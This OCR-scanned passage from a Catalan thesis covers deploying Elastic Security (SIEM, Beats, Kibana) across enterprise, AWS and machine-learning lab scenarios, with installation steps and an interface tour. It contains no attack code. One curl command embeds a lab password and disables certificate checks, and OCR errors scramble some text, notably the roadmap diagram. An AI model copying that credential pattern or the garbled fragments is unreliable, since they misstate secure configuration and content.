dels productes meés recents que ha presentat Elastic, amb aproximadament un
any de vida, es va llancar el 25 de juny de 2019. No obstant aix0, abans de la
presentacio oficial, ja hi havia algunes organitzacions que utilitzaven les
funcionalitats d’ElasticSearch per tal de realitzar analisis de seguretat.

Amb aquest producte, es busca la integracid entre dos components critics de la
seguretat informatica: el SIEM i la seguretat en el lloc de treball. Ofereix capacitat
de prevencio, recopilacid, deteccio i resposta per tal d’aconseguir una resposta
unificada.

Actualment, aquest producte esta format pels segiients components:
> Elastic SIEM.
» EndPoint Security.

2.5.1. Elastic SIEM
&

Estrictament, Elastic SIEM no és un nou producte independent siné que és una
nova aplicacié que s’ha integrat al Kibana per tal de donar solucié al cas d’us de
seguretat. L’aplicacio ofereix la capacitat de visualitzar d’'una manera molt
intuitiva les dades. La seva estructura és molt similar a les eines de seguretat
habituals que permeten filtrar, visualitzar i investigar informacié indexada a
I'ElasticSearch.

Aquesta aplicacio es pot utilitzar en format beta pels usuaris a partir de la versio
7.2 de I'Elastic amb la llicencia basica. Juntament amb la resta de productes,
utilitza I'Elastic Common Schema.

Malgrat que el seu nom és Elastic SIEM, avui en dia encara no es pot considerar
un SIEM?, tal com s’indica al Webinar “Introduccion a Elastic SIEM: protege tu
organizacion con el Stack Elastic” (Cascallares, 2019) ja que li falten funcionalitats
d’aquests tipus de productes o0 encara estan en fases inicials, com seria la
creacio de regles per detectar anomalies. El full de ruta que esta seguint Elastic
amb aquest producte és el seglent:

4 Aplicacié que busca aportar a les organitzacions informaci6 util sobre possibles amenaces de
seguretat, gracies al processament de logs, métriques i la correlacié entre ells.
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Elastic Common Schema

Com a base d’aquesta
aplicacio hi trobem I'ECS,
que ens permet realitzar
correlacié de logs,
meétriques, trafic de
xarxa, dades de
I"auditoria dels sistemes
amb una semantica
similar.

Recoleccié d'esdeveniments de seguretat, visualitzacio i tauler de control

Aquesta funcionalitat ens
permet recol-lectar,
agregar i visualitzar els
diferents esdeveniment
de seguretat.

Es el funcionament basic

APP SIEM, SOC Workflow

L'aplicacid Elastic SIEM es
va publicar amb la versié
7.2 en format beta.

Regles de deteccid i nous origens de dades

Aquesta funcionalitat s'ha

Threat Intelligence

Permet analitzar i
investigar els
esdeveniments a través
dels components de les
capes anteriors.

afegit a la versié 7.6 en
format beta.

L'ECS esta present als que ofereix Elastic Stack.

productes d'Elastic des de
la versié 7.0.

Aquesta fase encara no
esta planifcada a dia
d'avui.

Permet detectar patrons
d'atacs o consultar bases
de dades externes amb
informaci6 sobre les
amenaces.

A dia d'avui, Elastic SIEM
es troba a aquest punt.

Es busca predir de
manera proactiva les
amenaces en temps real.

Elastic SIEM esta integrat dins de I'Elastic Stack, permet utilitzar i aprofitar totes
les funcionalitats que ofereixen els altres components. Com que tots els
components utilitzen 'ECS, el seguiment i 'analisi de la informacié esdevé més
senzilla.

2.5.2. Elastic Endpoint Security

Com es va publicar a I'article “Welcome Endgame: Bringing Endpoint Security to
the Elastic Stack (Banon, 2019), el passat 5 de juny, es va anunciar la compra per
part d’Elastic de 'empresa de seguretat End Game. Amb aquesta compra, es
busca unir esfor¢cos per aconseguir llencar al marcat un sistema de seguretat
global, que busca combinar les funcionalitats del SIEM i de la proteccio al lloc de
treball (EndPoint).

Després d’aquest fet, el passat 15 d’octubre a l'article “Presentacion de Elastic
Endpoint Security” (Banon, 2019), es va presentar el producte que sorgeix de la
fusié de les dues empreses. Aquest producte ajuda a prevenir amenaces com
serien ransomware, phishing, malware, vulnerabilitats i atacs sense fitxers
(shellcode injection o reflective DLL).

Actualment, aquest producte és un programa extern que envia la informacio
directament a I'Elastic Stack. Segons les previsions de futur, es preveu que
aquest producte es transformi en un altre Beat, segons “Presentacion de Elastic
Endpoint Security” (Banon, 2019).
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Elastic Endpoint Security

ENDGAME.

Sin precios por endpoint

A dia de realitzacié del treball, aquest producte tan sols es troba com a
“Programa de acceso temprano”, encara no té versié comercial.

3. Planificacid d’escenaris

Com hem vist en els apartats anteriors, el producte d’Elastic Sercurity es pot
aplicar en molts escenaris diferents. En aquest treball, 'aplicarem en tres
escenaris diferents:

3.1. Escenari 1: Entorn empresarial

Avui en dia, és molt habitual que les empreses utilitzin tota mena de sistemes
d’informacio per dur a terme la seva activitat econdomica. Per cobrir més o menys
les necessitats basiques en aquest ambit, és habitual disposar dels seglents
serveis:

> Servei de Directori: serveix per tenir centralitzada tota la gesti6 d’'usuaris,
grups, politiques de seguretat... permetent un inici de sessié Unic als
diferents recursos de la infraestructura TIC.

> DNS: els diferents serveis TIC es troben distribuits a una xarxa, que pot estar
distribuida en diferents zones geografiques. En el moment de desplegar els
diferents serveis a aquesta xarxa, se li assigna una IP. No obstant aix0, és molt
més senzill que els usuaris es recordin d’'un nom i no d’'un conjunt de numeros.
Es aqui on intervé el DNS, que la seva funcié principal és convertir els noms a
IP’s.

> Servei de recursos compartits: pertal que els empleats tinguin una ubicaci6
més 0 menys segura, centralitzada i protegida a on emmagatzemar i compartir
els diferents arxius que utilitzen en el seu dia a dia, se solen utilitzar recursos
compartits. A grans trets, es pot considerar un disc dur que esta connectat a la
xarxa i és accessible per I'organitzacio.

» Webs: les pagines web poden ser utilitzades de diferents maneres:

o Internament com si es tractés d’'una intranet: on els usuaris poden
realitzar gestions internes o utilitzar eines col-laboratives, entre
altres.

o Externament: per tal d’oferir els productes que genera 'empresa o
per donar-se a coneixer.

» Base de Dades: per tal de nodrir d'informacio les diferents aplicacions
que disposa una empresa, és necessari disposar d’un lloc centralitzat a
on emmagatzemar aquesta informacio.
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» IDS (Sistemes de Deteccié d’Intrusions): tot i que no és tan freqient
trobar-ho, cada cop estan agafant més rellevancia. La seva funcio
principal és la deteccié d’accessos no autoritzats a equips o a la xarxa,
donant un nivell més de seguretat a I'empresa per tal de detectar
intrusions.

Com hem vist, la infraestructura que disposa una empresa pot arribar ser molt
complexa. Aixo fa que lorigen de les amenaces de seguretat augmenti
considerablement i, a causa de la gran quantitat de sistemes que intervenen,
detectar aquests problemes pot arribar a ser costos. Per aquest mateix motiu, el
primer escenari a on podem veure els beneficis que ens aporta Elastic Security
€s en un entorn empresarial.

Per poder detectar possibles problemes de seguretat, el procés que se seguiria
seria costés, ja que s’hauria d’accedir a cadascun dels recursos i revisar els
diferents punts d’informacio, que poden estar ubicats en una mateixa ruta o en
diferents. De la mateixa manera, s’hauria de realitzar una correlacié de tots els
esdeveniments de cada recurs contra la resta de sistemes.

Aconseguir centralitzar tota la informacio de les diferents peces en un unic lloc,
fara que tot el procés d’analisis i deteccié d’amenaces sigui més assequible, ja
que no s’haura de recorrer tota la plataforma, element a element, per cercar i
analitzar la informaci6. Accedint a una sola plataforma, ens permetra tenir tota la
informacio dels diferents recursos i tractar-los d’'una manera menys costosa.

Per tal de dissenyar I'escenari, en primer lloc es fara un estudi dels diferents
productes que hi ha al mercat per tal d’escollir quin formara part de I'escenari.

3.1.1. Servei de directori

Un dels serveis de directori més utilitzats a I'entorn empresarial és Active
Directory de Microsoft. Internament, el que implementa Active Direcotry no és res
meés que una base de dades LDAP on s’emmagatzemaran els diferents objectes.
Aquest servei pot estar ubicat en un o diversos servidors.

Active Directory permet crear objectes dins del directori, com podrien ser:
usuaris, equips o grups per tal d’administrar les credencials utilitzades pels
usuaris i serveis durant el procés d’inici de sessio.

També ens permet administrar politiques de seguretat sobre els recursos i els
comptes d’'usuaris. Permet, entre altres accions: bloquejar els comptes d’usuaris
en cas que s’introdueixi de manera incorrecta la contrasenya un nombre
determinat de vegades, forcar la rotacié de la contrasenya o, si ens centrem en
recursos, limitar els permisos que tenen els usuaris per realitzar determinades
accions sobre el seu ordinador. Una altra de les funcionalitats que ens ofereix és
el Single Sign On, que dona la possibilitat d’utilitzar un mateix usuari en diferents
serveis sense necessitat de tornar-te a autenticar.
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Com és un dels serveis de directori més complets del mercat, pel treball
s'utilitzara Microsoft Active Directory. Concretament, desplegaré ['Active
Directory de la versio Windows Server 2019.

3.1.2. DNS

A més de ser un dels requeriments necessaris per desplegar el servei d’Active
Directory, també és un component molt important a 'empresa, ja que facilita
I'accés als diferents serveis.

Al mercat es poden trobar diferents productes que ofereixen aquest servei. Uns
dels més destacats son:
> Microsoft DNS: és una caracteristica disponible al Windows Server. La
seva configuracié és senzilla i disposa d’'una consola d’administracié.
Aquest producte és el que utilitza Active Directory per defecte. Per tant,
és molt freqUent trobar-lo a les organitzacions.
> Bind: és un dels servidors de DNS que ha agafat més forca al mercat, es
distribueix amb la majoria de versions Linux o Unix. No obstant aixo, la
seva configuracié és més costosa.

Si ens centrem en la seguretat i el rendiment, els dos productes son robustos i
eficients. Tenint en compte els objectius d’aquest treball, com que s’utilitzara
Active Directory, també s’utilitzara Microsoft DNS, ja que és més habitual trobar-
los junts en un entorn real.

3.1.3. Recursos Compartits

Par tal de realitzar la comparticié de recursos, principalment es solen utilitzar dos
protocols: CIFS o NFS. Aquesta implementacié depén molt de quin és el sistema
base que utilitzem per muntar el Servidor.

Normalment, a les empreses on s’utilitza Microsoft com a tecnologia principal, el
tipus de recursos compartits que s’implementen és el CIFS. Aquest el va
desenvolupar Microsoft i es basa amb el protocol SMB d’'IBM. Aquest protocol
pot ser utilitzar per compartir fitxers i impressores.

En canvi, si la tecnologia que predomina a 'empresa és Linux o Unix, se sol
utilitzar el protocol NFS. Aquest protocol va ser desenvolupar per SUN i és molt
utilitzat en la comparticié de dades entre hosts del mateix tipus.

Si ens centrem a nivell de seguretat, CIFS permet implementar ACL per tal de
protegir arxius i també permet la integraci6 amb Kerberos. La seguretat que
implementa NFS és més limitada: permet I'autenticacié mitjangant usuaris i grups
locals del mateix servidor a on es serveix el recurs. ACL s’implementa a partir de
la versio 4.

Com gue sén protocols diferents i estan pensats per productes diferents, encara
gue sigui possible la seva interconnexid, es realitzaran proves amb els dos tipus.
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3.1.4. Webs | bases de dades

Per tal de disposar de diferents webs i bases de dades per analitzar
esdeveniments de seguretat mitjancant Elastic, he escollit utilitzar una distribucio
pensada per practicar hacking étic. Es a dir, és una suite amb diferents
components vulnerables preparats per detectar forats de seguretat i, d’aquesta
manera, poder practicar técniques d’intrusio.

S'utilitzara:
» Web Security Dojo: disposa de diferents webs vulnerables per tal de
realitzar proves d’intrusio.
» Metasploit: és una maquina virtual amb vulnerabilitats preparada per
poder provar diferents técniques d’intrusio.

3.1.5. IDS

Al mercat es poden trobar diferents tipus d’'IDS en funcio del tipus de técnica que
s’utilitza per detectar les amenaces:

» Deteccitd a base de signatures: per tal de detectar els comportaments
deshonestos, s’utilitzen regles o patrons de comportament coneguts.
S’analitzen les dades buscant aquests patrons, en el cas que se’n detecti
un, fa saltar una alarma. Aquest tipus de sistemes no ens protegeix
d’amenaces de dia zero, no obstant aix0, la quantitat de falsos positius és
baixa.

> Deteccié a base d’anomalies: per tal de detectar els comportaments
deshonestos, aquest tipus d’'IDS, a primera instancia han de realitzar un
perfil del comportament “normal”’, que a mesura que vagi passant el
temps, s’anira completant. Un cop es disposa d’aquest perfil base,
gualsevol comportament que es diferencia amb un llindar especific, sera
considerat una amenaca. Aquests tipus de sistemes ens protegeix de les
amenaces de dia zero pero, per contra, la quantitat de falsos positius és
més elevada.

Per altra banda, també els podem classificar tenint en compte quina és la font
d’obtencio de dades:

> NIDS: les dades les obté a traves del trafic de xarxa: captura els
diferents paquets i, a posteriori, els utilitzara per detectar-hi les
possibles amenaces. En implementar aquest tipus de sistema, és
habitual que es dupliqui tot el trafic que travessen els switchs i els
encaminadors.

» HIDS: les dades les obté a través de la informacié que es recopila als
diferents logs dels equips. Normalment, per tal d’obtenir aquesta
informacio, s’ha d’instal-lar un agent encarregat de la seva recollida i
processament.
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Si ens centrem en les funcionalitats que ens ofereixen els Beats d’Elastic, podem
veure que la part de HIDS esta coberta per 'AuditBeat i el WinlogBeat.

La part que avui dia encara no esta coberta al 100%, és la part de NIDS. Tot i
que existeix el PacketBeat, la seva funcio es centra en la captura de trafic, la part
de deteccio es troba en versio beta.

Per tal d'aportar la funcionalitat del NIDS, existeixen diferents productes.
Destacarem:

» Snort: és un dels NIDS més veterans, disposa d’una bona comunitat
que hi treballa. A més, hi ha diferents productes comercials que
implementen aquest NIDS per tal d’analitzar la xarxa, un exemple
podria ser Alien Vault.

» Suricata: es podria considerar com una evolucié del Snort. A primera
instancia, les regles definides i utilitzades al Snort sén compatibles
amb el Suricata. Una altra millora que aporta, és que, a més de
paquets de xarxa, també és capac de capturar i analitzar certificats
TLS/SSL, sol-licituds HTTP i sol-licituds DNS.

Una de les caracteristiques interessants que ens ofereix Suricata envers Snort,
és la seva facil integraciéo amb I'Elastic Stack. FileBeat disposa d’'un modul natiu
per processar els logs de Suricata. Per aquest motiu, I'IDS que s’utilitzara sera
Suricata. Per la part de HIDS s'utilitzaran I'AuditBeat i el WinlogBeat.

3.1.6. Esquema

Per veure l'escenari a escala esquematica, es desplegaran les seguents
magquines virtuals:
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3.2. Escenari 2: Cloud Amazon Web Service

La popularitat del cloud computing s’ha anat incrementant en els ultims anys.
Aquesta casuistica ha fet que, moltes empreses, hagin deixat de tenir els seus
servidors als CPD’s propis i hagin comengat a moure’ls al nuvol.

Un dels proveidors de cloud computing que ha agafat més rellevancia ha estat
Amazon Web Service (AWS). Disposa d'un gran cataleg de serveis, tan
autogestionats per AWS com serveis gestionats pel mateix client. Permetent
arribar a generar infraestructures complexes al navol.

A causa d’aquesta tendencia, és interesant veure qué ens pot oferir Elastic
Security en aquest ambit. Per aix0, el segon escenari plantejat és un cas d’Us
basat en un entorn web amb arquitectura al cloud d’'una empresa real que
recentment s’ha posat en produccié.

Aquesta plataforma esta formada pels segiients components:

3.2.1. ElasticSearch

En aquesta aplicacio, ElasticSearch és utilitzat com a base de dades. Les dades
de I'aplicacioé web es troben allotjades a un cluster d’ElasticSearch en tres zones
diferents dins d’'una mateixa regid. L’accés a aquest cluster es fa mitjangant un
balancejador (Application Load Balancing).

Tots els nodes d’ElasticSearch estan desplegats sobre instancies EC2
(maquines virtuals).

Public subnet

(2

(&)

|
] @ @

3.2.2. Plataforma Kubernetes

L’aplicacio es troba en format contenidor i esta corrent sobre la plataforma de
Kubernetes. Aquesta plataforma esta formada per tres servidors masters a
diferents zones de disponibilitat, amb un grup d’AutoScaling. La seva tasca és
coordinar el desplegament i el funcionament dels workers.
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El funcionament dels workers consisteix a executar els contenidors i oferir els
serveis. Estan dividits en dos grups d’AutoScaling, un destinat a allotjar els
diferents components de I'aplicacié i l'altre grup destinat a allotjar les diferents
utilitats d’integracié continua que utilitzen els desenvolupadors de l'aplicacié
(Gitlab, Sonargqube, Nexus i Rundeck.).

Per tal de permetre l'accés a aquests contenidors, s'utilitza I'Ingress de
Kubernetes. Concretament, se n’utilitzen tres, un per I'aplicacio, un per les eines
d’integracio continua i I'ultim per 'API de gestio de la plataforma.

Tots aquests Ingress, per tal que siguin accessibles, es troben darrere de tres

balancejadors de carrega (Netwotk Load Balancing). Pel que fa a la sortida a
internet d’aquests servidors, s’utilitzen NAT Gateway.

Public subnet

3.2.3. Acces per part dels usuaris

Els usuaris per accedir a l'aplicaci6 no ho fan directament a través dels
balancejadors de carrega allotjats a AWS, sin6 que ho fan a través d’un
distribuidor de contingut. En aquest cas, el producte que s’utilitza és Fastly.

Aquest producte actua com a punt d’accés per part dels usuaris a I'aplicacio i, a
més, realitza la funcié de “cache”.
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3.2.4. Obtenci6 de dades

Com s’ha comentat, tant I'aplicacid6 web com les diferents eines d’integracio
continua, estan desplegades mitjancant contenidors. Un dels beneficis dels
contenidors és assegurar que tot I'entorn és uniforme, sense importar sobre quin
sistema es desplega. De la mateixa manera, és habitual que aquests contenidors
siguin volatils, és a dir, que no emmagatzemen informacié sind que, cada cop
gue el reinicies o es canvia la versio, es destrueix i es torna a recrear.

Seguint aquest plantejament, tota I'arquitectura d’aquest entorn esta pensada
perque sigui volatil, permetent la creacié o destruccio dels diferents components
segons les necessitats. Si tenim en compte aquest comportament, els logs dels
diferents components també son volatils. Per tal de donar solucié a aquest tema,
tots els logs i les diferents métriques s’envien al servei de CloudWatch que
ofereix AWS. D’aquesta manera, s’aconsegueix mantenir aquesta informacio
encara que la plataforma sigui volatil.

Una altra mesura que s’ha pres és que els logs que genera propiament I'aplicacié

web i el distribuidor de contingut s’envien directament a un altre cluster
d’ElasticSearch.

3.3. Escenari 3: Machine Learning

El que es busca amb aquest escenari, €s comprovar qué ens pot aportar el modul
de Machine Learning.

Com a font de dades, s'utilitzaran les dades obtingudes en els escenaris

anteriors. Mitjangant el modul de Machine Learning s’intentara detectar
anomalies.
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4.Desplegament d’Elastic Stack

4.1. Requeriments

La versio dels diferents components d’Elastic que es desplegara sera la 7.6. En
aguesta versio, l'aplicacié de I'Elastic SIEM inclou en mode beta la part de
deteccio d’anomalies mitjangant regles, com s’indica a I'article “Lanzamiento de
Elastic Security 7.6.0.” (Settle, 2019).

Elastic disposa d’'una matriu on s’indica la compatibilitat entre versions de tots
els productes. Es pot consultar al segient enllac.

A continuacio, es detallara quins son els requeriments necessaris per a
desplegar el producte:

» Sistema Operatiu: CentOS 7.
» Java: OpenJDK 11.
» Kibana: 7.6.
» Logstash: 7.6.
> Beats: 7.6.
» ElasticSearch: 7.6.
» Memoria RAM: 4 GB.
» VvCPU: 2.
4.2. ElasticSearch
4.2.1. Instal-lacio

Per tal de realitzar la instal-lacio de I'ElasticSearch, s’ha desplegat una maquina
virtual amb els requeriments anteriorment comentats. A més, se li ha assignat
una unitat de 25 GB que és on s’emmagatzemara la informaciéo de
I'ElasticSearch.

Per tal de realitzar la instal-lacié d’'una manera desatesa, s’ha creat un script que
realitzara les seglents tasques:
» Instal-lacio del Java.
» Instal-lacio de I'Elastic.
» Configuracio basica de I'Elastic:
o Definicio del nom del cluster.
Definicié del nom del node.
Canvi de ruta de les dades de I'Elastic.
Activar el Memory Lock (recomanacio d’Elastic).
Canviar la IP per on escolta.
Identificar el port a utilitzar.
o ldentificar que és un cluster d’un node.
» Ajustar parametres del sistema operatiu:
o Configurar la memoria maxima que utilitzi el Java.
o Configurar la memoria Java inicial.

O O O O O
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o Configuracié de Pagefiles (recomanacié d’Elastic).
» Configuracio del FileSystem /dades.
» Configuracio d’auto inici.
» Obrir ports al Firewall.

El script en questio és el seguent: Script 1: Instal-lacié d’ElasticSearch.

Un cop s’ha executat el script, ja tindriem I'ElasticSearch instal-lat. El segtient
pas sera inicialitzar-ho. Per fer-ho, executarem la seglient comanda:

systemctl start elasticsearch

Per tal de comprovar que efectivament esta funcionant de forma correcta,
executarem la seguent comanda. Ens fixarem amb el valor "status” que ha
d’indicar “green” (Captura 1: Estat del cluster):

curl -X GET "192.168.43.100:9200/_cluster/health?wait_for_status=yellow&timeout=50s&pretty"

A partir d’aquest punt, ja tindrem I'ElasticSearch funcionant. No obstant aixo, el
cluster esta configurat sense cap mena de seguretat. Es important indicar que,
per requeriments del modul de deteccié de I'Elastic SIEM, és necessari que la
comunicacié sigui mitjangant HTTPS.

4.2.2. Configuracié Seguretat i Comunicacidé SSL

Per tal de configurar el protocol HTTPS i donar seguretat al cluster
d’ElasticSearch, és necessari realitzar les seglients tasques:

Primer de tot, és necessari crear una entitat certificadora (CA) aixi com un
certificat SSL. Per fer-ho, s’ha creat un script que realitzara les seglients tasques:
Instal-lacié de la utilitat per crear els certificats.

Creacié de l'estructura de carpetes per emmagatzemar els fitxers.
Creacié de plantilles per crear la CA i el Certificat SSL.

Generacio6 de la CA.

Generacio6 del certificat SSL.

Canvi de propietari de la carpeta.

VVVYVYVYVYYY

El script és el seglent: Script 2: Creaci6 dels certificats SSL ElasticSearch.

Un cop disposem del certificat generat, el seglent pas sera configurar
I'ElasticSearch. Per fer-ho, s’ha creat el seguent Script 3: Configuracio del SSL
ElasticSearch.

Seguidament, procedirem a reiniciar el servei. Per fer-ho, executarem la segient
comanda:

systemctl restart elasticsearch
Un cop ja disposem de I'ElasticSerach configurat amb seguretat, el segient pas

sera crear els usuaris de sistema per tal de poder-hi accedir. Per fer-ho,
executarem la segiient comanda, on ens demanara la contrasenya pels segients
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usuaris: elastic, apm_system, kibana, logstash system, beats system i
remote_monitoring_user (Captura 2: Usuaris del Sistema Elastic):

lusr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive -u
"https://elasticstack.mistic.lab:9200"

Un cop ja es disposa de les contrasenyes assignades, comprovarem el correcte
funcionament. Tornarem a executar la comanda per comprovar I'estat del cluster
perd aquest cop hi afegirem els flags -u per indicar quin és l'usuari i la
contrasenya i -k perque no comprovi la validesa del certificat SSL. De nou ens
fixarem amb el valor "status" que ha d’indicar “green” (Captura 3: Estat del
Cluster SSL).

curl -u elastic:314s1cUs3r
"https://elasticstack.mistic.lab:9200/_cluster/health?wait_for_status=yellow&timeout=50s&pretty" -k

A partir d’aquest punt ja tindrem I'ElasticSerach instal-lat i configurat amb SSL.

4.3. Kibana

4.3.1. Instal-lacio
El seglent element a instal-lar sera el Kibana, que és la interficie grafica per
administrar I'ElasticSearch i també on hi ha I'aplicacié d’Elastic SIEM.

S’han utilitzat els mateixos certificats que s’utilitzen a I'ElsticSearch. Per tal de
realitzar la instal-lacio i la configuracio del Kibana, he creat el segluent script que
realitza les accions:

» Creaci6 del repositori del Kibana.

» Instal-laci6 del Kibana.

» Configuracio del Kibana.

» Configuracio d’auto inici.

» Obrir ports al firewall.

El script és el seglent Script 4: Instal-laci6 i configuracio del Kibana.

Un cop el procés d’instal-laciéo ha finalitzat, ja podrem accedir a I'aplicacié
mitjancant la segiient URL (Captura 4: Accés del Kibana):

https://elasticstack.mistic.lab:5601

4.4. Logstash
4.4.1. Instal-lacio

El seglent producte a instal-lar sera el Logstash. Es realitzara una pipeline
basica i, si durant el treball es necessiten noves piplines, ja es configuraran. Per
fer la instal-lacié he creat un script que realitzara les seguents tasques:

Creaci6 del repositori del Logstash.

Instal-lacié del Logstash.

Configuracio del Logstash.

Creacié de la pipeline basica.

Configuracié d’auto inici.

VVVVY
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» Obrir ports del firewall.

El script és el seguient Script 5: Instal-lacio del Logstash.

Un cop s’ha executat, podem validar mitjangant els logs que, efectivament, s’ha
inicialitzat. Per fer-ho, buscarem la seguent linia “[INFO ][logstash.agent ]
Successfully started Logstash API endpoint {:port=>9600}" al log (Captura 5:
Validaci6 del funcionament del Logstash). Executarem la segiient comanda:

tail -f /var/log/logstash/logstash-plain.log

Una altra manera de verificar que s’ha connectat a I'ElasticSearch, és verificar si
s’ha creat la plantilla. Per validar-ho, ens podem connectar al Kibana. Ens dirigim
a I'opcié Dev Ops i, a continuacio, executem la segiient consulta. Podrem veure
gue a la part dreta apareix tota la informacié (Captura 6: Validar la creacié de la
plantilla del Logstash):

GET _template/logstash

{
"query": {
"match_all": {}

}
}

4.5. Beats

En aquest apartat instal-larem els principals beats.

45.1. Instal-lacié d’AuditBeat

Es el primer dels Beats que s'instal-lara. Per fer-ho, s’ha creat un script que
realitza les seguients accions:
> Instal-lacio de I'AuditBeat.

» Configuracio de I'AuditBeat.
» Configuracié d’arrencada automatica.

El Script és el seglient Script 6: Instal:-lacié de ’AuditBeat.

Un cop instal-lat, si ens connectem al Kibana a I'aplicacioé de SIEM, podem veure
gue ja ens comencen a arribar dades (Captura 7: Dades de I'AuditBeat).

45.2. Instal-lacid del PacketBeat

Es el segiient dels Beats que s'’installara. Per fer-ho, s’ha creat un script que
realitza les segients accions:
» Instal-lacio del PacketBeat.

» Configuraci6 del PacketBeat.
» Configuracio arrancada automatica.

El Script és el seglient Script 7: Instal-lacié del PacketBeat.
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Per tal de tenir dades sobre geolocalitzacié de les diferents IP’s, és necessari
crear un index. Per fer-ho, executarem la segiient comanda des de la carpeta
letc/packetbeat/: Script 8: Configuracio de GeolP del PacketBeat.

Un cop instal-lat, si ens connectem al Kibana a I'aplicacioé de SIEM, podem veure
gue ja ens comencen a enviar dades (Captura 8: Dades del PacketBeat).

4.5.3. Instal-lacié del FileBeat

Es el seguent Beat que s’instal-lara. Per fer-ho, s’ha creat un script que realitza
les seglients accions:

> Instal-laci6 del FileBeat.

» Configuraci6 del FileBeat i habilitar el modul del System.

» Configuracio d’arrencada automatica.

El Script és el seguent: Script 9: Instal-lacio del FileBeat.

Un cop instal-lat, si ens connectem al Kibana a 'aplicacié de SIEM, podem veure
gue ja ens comencen a arribar dades (Captura 9: Dades del FileBeat).

4.6. APM-Server

Per tal de realitzar la instal-lacid6 d’aquest component, s’ha creat un script que
realitzara les seglents accions:

> Instal-lar TAPM-Server.

> Configurar TAPM-Server

» Configurar I'arrencada automatica.

» Obrir ports del Firewall.

El script en questi6 és el seguent: Script 10: Instal-lacié de ’APM-Server.

5. Analisi de logs

Un cop hem vist els diferents escenaris que aplicarem en el producte d’Elastic
Security, aixi com el procés d’instal-lacié de les diferents peces que el formen, el
seglient pas és comprovar com respon i qué ens aporta aquest producte.

5.1. Ruta per I'Elastic SIEM

Un cop s’ha desplegat I'Elastic Stack amb les diferents peces que el formen,
abans de comencar amb el desplegament dels nous components, realitzarem
una ruta per 'aplicacioé d’Elastic SIEM per tenir un primer contacte.

Primer de tot, es realitzara un petit glossari per entendre les diferents opcions
que ens ofereix I'aplicacio:

» Signal: fa referencia a I'activacié d’'una regla de deteccio especificada.
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» Alert: fareferencia a la deteccié d’'una anomalia que es rep per un sistema
extern, com podria ser Suricata o Endpoint Security.

» Event: fa referéncia als diferents elements que s’obtenen gracies als
diferents Beats.

» Timelines: és el lloc de treball on ens permet comencar la investigacié de
les possibles amenaces. Permet utilitzar cerques dels diferents camps
dels esdeveniments per a realitzar el seguiment del cas.

» Flow: grup de paquets enviats en el mateix periode de temps que
comparteixen propietats, com serien: les mateixes IP’s origen, les
mateixes IP’s desti o el mateix protocol.

Com he comentat anteriorment, Elastic SIEM és una aplicacié que s’ha creat i
integrat dins del Kibana. Per tant, per poder accedir-hi ens hi connectarem i, un
cop dins, seleccionarem I'apartat d’Elastic SIEM (Captura 10: Home Kibana).

5.1.1. Pestanya Overview

Un cop hem accedit a l'aplicacié d’Elastic SIEM, la primera pestanya que ens
apareix és 'anomenada Overview. En aquesta finestra hi ha un tauler de control
amb la visié general del producte mitjancant diferents grafics:

El primer grafic que se’ns mostra és 'anomenat “Signal Count”, a on se’ns
mostrara mitjancant un diagrama de barres el recompte de les diferents Signals
detectades (Captura 11: Finestra Overview 1).

El seglent grafic que ens apareix correspon a “External alert count”. De la
mateixa manera, se’ns representara mitjancant un diagrama de barres el
recompte de les alertes detectades (Captura 11: Finestra Overview 1).

Seguidament, se’ns mostra un grafic anomenat “Event Counts” on es pot veure
un histograma amb la quantitat d’esdeveniment que es van recollint (Captura 12:
Finestra Overview 2).

Per finalitzar, ens apareixen dos panells anomenats “Host Events” i “Network
Events” on es representa la quantitat d’esdeveniment que s’han recol-lectat amb
els diferents Beats (Captura 12: Finestra Overview 2).

5.1.2. Pestanya Hosts

En aquesta finestra, ens apareix una visio general de la situacié dels diferents
hosts que estan enviant informacio6 a I'Elastic.

Podem veure que apareixen tres panells a la part superior (Captura 13: Finestra
Hosts 1):
» Hosts: se’'ns mostra la quantitat de hosts que han enviat informacié en
una franja de temps
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>

>

User Authentication: es mostra una correlacio entre els logins realitzats
satisfactoriament i els incorrectes. Son reportats per I'AuditBeat i el
Winlogbeat.

Unique IP: ens fa un recompte de les diferents IP’s detectades.

Seguidament, tenim un altre panell amb diferents pestanyes:

>

All Hosts (Captura 13: Finestra Hosts 1): se’ns mostra més detall dels
diferents entorns que han reportat, aixi com el temps que fa des de
I'enviament de I'GItim esdeveniment.

Authentication (Captura 14: Finestra Hosts 2): ens apareixen dos
panells, un ens mostra una grafica amb les diferents autenticacions
exitoses i fallades que s’han realitzat. L’altre ens déna informacio sobre
les diferents autenticacions.

Uncommon Processes (Captura 15: Finestra Hosts 3): ens mostra un
llistat dels processos que no sén comuns.

Events (Captura 16: Finestra Hosts 4): també es presenten dos panells,
en un es mostra amb un diagrama la quantitat d’esdeveniment rebuts. En
I'altre panell hi ha més detalls dels diferents processos capturats. Des
d’aquesta vista és possible realitzar Timelines mitjancant drag and drop.
External Alerts (Captura 17: Finestra Hosts 5): se’ns mostren dos panells
amb informacio de les alertes externes detectades. Primer se’ns mostra
un diagrama amb la quantitat d’esdeveniments detectats i, al segon panell,
més detall sobre aquests esdeveniments. Des d’aquesta vista és possible
realitzar timelines mitjancant drag and drop.

5.1.3. Pestanya Network

En aquesta finestra, el primer panell correspon a un mapamundi, on s’indica quin
és el desti de les connexions que es realitzen dins de la plataforma (Captura 18:
Finestra Network 1).

Seguidament, se’ns mostren més panells (Captura 19: Finestra Network 2) amb
la seguent informacio:

>

>

>

>
>

Network Events: s’indica, en la franja horaria seleccionada, quants
esdeveniments de tipus network hi ha hagut.

DNS Querys: s’indica en la franja horaria seleccionada, quantes querys
als DNS hi ha hagut.

Unique Private IPs: indica quantes IP’s d’origen i de desti Uniques han
aparegut.

Unique Flow IDs: quantitat de fluxos de comunicacio realitzats.

TLS Handshakes: comunicacions inicialitzades mitjangant TLS.

A continuacio, podem veure diferents pestanyes que ens mostraran panells més
especifics:

>

Flow: es mostren diferents panells amb informacié sobre IP’s origen, IP’s
desti (Captura 19: Finestra Network 2), aixi com els paisos d’origen i
paisos de desti (Captura 20: Finestra Network 3).
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» DNS: ens mostra informacié relacionada amb les consultes DNS. En el
primer panell hi ha un diagrama amb la quantitat de consultes realitzades
i, en el seguent panell, indica quins son els dominis consultats (Captura
21: Finestra Network 4).

» HTTP: ens mostra les diferents sol-licituds HTTP realitzades. (Captura 22:
Finestra Network 5)

» External Alerts: en el primer panell es mostra un diagrama amb la
quantitat d’alarmes externes i, en el segon panell, més detall sobre
aguestes alertes (Captura 23: Finestra Network 6).

5.1.4. Pestanya Detecions

En aquesta pestanya es mostrara tota la informacio relacionada amb els signals
